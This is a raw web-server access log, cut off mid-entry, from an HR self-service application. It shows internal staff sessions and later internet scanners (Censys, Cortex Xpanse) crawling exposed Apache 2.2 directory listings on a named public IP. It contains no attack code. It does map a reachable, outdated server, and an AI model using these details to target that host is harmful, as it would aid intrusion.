/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:02:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:02:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:03:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:03:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:03:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:03:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:03:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:03:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:13:03:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:03:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.11.153 - - [01/Dec/2025:13:03:18 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [01/Dec/2025:13:03:18 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - 192.168.11.153 - - [01/Dec/2025:13:03:18 +0800] "GET /ehr/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [01/Dec/2025:13:03:18 +0800] "GET /ehr/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.153 - - [01/Dec/2025:13:03:18 +0800] "GET /ehr/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/ehr/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [01/Dec/2025:13:03:18 +0800] "GET /ehr/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.45 - - [01/Dec/2025:13:03:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA001&appdesc=%E5%9F%BA%E6%9C%AC%E8%B5%84%E6%96%99 HTTP/1.1" 200 10318 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:13:03:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA001&appdesc=%E5%9F%BA%E6%9C%AC%E8%B5%84%E6%96%99 HTTP/1.1" 200 10318 192.168.11.153 - - [01/Dec/2025:13:03:21 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [01/Dec/2025:13:03:21 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.153 - - [01/Dec/2025:13:03:21 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/ehr/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [01/Dec/2025:13:03:21 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 192.168.11.153 - - [01/Dec/2025:13:03:22 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [01/Dec/2025:13:03:22 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 100.64.0.1 - - [01/Dec/2025:13:12:46 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [01/Dec/2025:13:12:46 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [01/Dec/2025:13:14:23 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:13:14:23 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:13:14:27 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [01/Dec/2025:13:14:27 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:13:14:32 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [01/Dec/2025:13:14:32 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [01/Dec/2025:13:14:33 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:33 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:13:14:35 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [01/Dec/2025:13:14:35 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [01/Dec/2025:13:14:35 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:35 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [01/Dec/2025:13:14:39 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:39 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:13:14:40 +0800] "GET /eHR HTTP/1.1" 301 239 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:40 +0800] "GET /eHR HTTP/1.1" 301 239 100.64.0.1 - - [01/Dec/2025:13:14:40 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:40 +0800] "GET /eHR/ HTTP/1.1" 200 649 100.64.0.1 - - [01/Dec/2025:13:14:41 +0800] "GET /eHRTEST HTTP/1.1" 301 243 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:41 +0800] "GET /eHRTEST HTTP/1.1" 301 243 100.64.0.1 - - [01/Dec/2025:13:14:41 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:41 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [01/Dec/2025:13:14:42 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:42 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 100.64.0.1 - - [01/Dec/2025:13:14:42 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://202.111.43.170:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:42 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [01/Dec/2025:13:14:43 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:43 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 100.64.0.1 - - [01/Dec/2025:13:14:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [01/Dec/2025:13:14:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 284 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 284 100.64.0.1 - - [01/Dec/2025:13:14:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/modules" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219 100.64.0.1 - - [01/Dec/2025:13:14:46 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:46 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 283 100.64.0.1 - - [01/Dec/2025:13:14:46 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/manual" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:46 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 100.64.0.1 - - [01/Dec/2025:13:14:47 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:47 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 282 100.64.0.1 - - [01/Dec/2025:13:14:47 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/icons" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:47 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 100.64.0.1 - - [01/Dec/2025:13:14:48 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small HTTP/1.1" 301 288 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:48 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small HTTP/1.1" 301 288 100.64.0.1 - - [01/Dec/2025:13:14:48 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small/ HTTP/1.1" 200 3219 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/icons/small" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:13:14:48 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small/ HTTP/1.1" 200 3219 100.64.0.1 - - [01/Dec/2025:13:14:49 +0800] "GET 